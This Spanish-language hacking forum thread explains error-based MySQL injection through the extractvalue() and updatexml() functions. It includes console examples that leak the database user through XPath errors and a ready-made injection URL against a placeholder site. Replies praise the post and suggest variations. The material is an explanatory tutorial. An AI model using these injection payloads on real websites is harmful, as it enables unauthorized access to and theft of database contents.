comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

MYSQLI EB con extractvalue() and updatexml()

  • 5 Respuestas
  • 2325 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Julio 26, 2013, 02:17:37 pm »
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código: XML
  1. <b>q3rv0</b>

Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código: MySQL
  1. mysql> select extractvalue('<b>q3rv0</b>', '/b');
  2. +------------------------------------+
  3. | extractvalue('<b>q3rv0</b>', '/b') |
  4. +------------------------------------+
  5. | q3rv0                              |
  6. +------------------------------------+
  7. 1 row in set (0.00 sec)
  8.  
  9. mysql>

La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código: MySQL
  1. mysql> select extractvalue('<b>q3rv0</b>', user());
  2. ERROR 1105 (HY000): XPATH syntax error: '@localhost'

Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código: MySQL
  1. mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

http://www.webvuln.com/negocio.php?id=60 union select extractvalue(1, concat(0x7e, version()))--






Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código: XML
  1. <b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>

La sintaxis de updatexml() es la siguiente:

Código: MySQL
  1. updatexml('cadena', 'xpath_expr', 'cadena actualizada')

Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código: MySQL
  1. mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
  2. +--------------------------------------------------------------------------------------------------------------+
  3. | updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
  4. +--------------------------------------------------------------------------------------------------------------+
  5. | <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
  6. +--------------------------------------------------------------------------------------------------------------+
  7. 1 row in set (0.00 sec)
  8.  
  9. mysql>

Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código: MySQL
  1. mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
  2. ERROR 1105 (HY000): XPATH syntax error: '@localhost'
  3. mysql>

Concatenamos y obtenemos el resultado completo.

Código: MySQL
  1. mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
  3. mysql>





Referencia: http://devteev.blogspot.com.ar/2009/10/advanced-sql-injection-lab-full-pack.html
« Última modificación: Noviembre 23, 2014, 02:19:06 pm por Expermicid »

Desconectado naile

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Julio 26, 2013, 03:03:35 pm »
Muy bueno, no conocía ese método.

Desconectado M5f3r0

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
    • Ver Perfil
  • Skype: m5f3r0
« Respuesta #2 en: Julio 26, 2013, 04:28:24 pm »
Excelente, yo también desconocía de esto. Sigue así!



;D Saludos.
« Última modificación: Julio 26, 2013, 04:35:33 pm por m5f3r0 »
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #3 en: Julio 26, 2013, 11:52:08 pm »
Muy bueno, te felicito!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Conectado arthusu

  • *
  • Underc0der
  • Mensajes: 552
  • Actividad:
    3.33%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #4 en: Julio 27, 2013, 12:25:56 am »
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P
« Última modificación: Julio 27, 2013, 12:30:06 am por arthusu »
Pentest - Hacking & Security Services

Contact me: arthusu@gmail.com

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« Respuesta #5 en: Julio 27, 2013, 04:59:16 pm »
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P

Actualizado!

Gracias bro por la info

 

¿Te gustó el post? COMPARTILO!



Blind Mysqli Time Based [Teoria]

Iniciado por q3rv0

Respuestas: 3
Vistas: 2212
Último mensaje Diciembre 22, 2012, 02:05:23 am
por Abnormality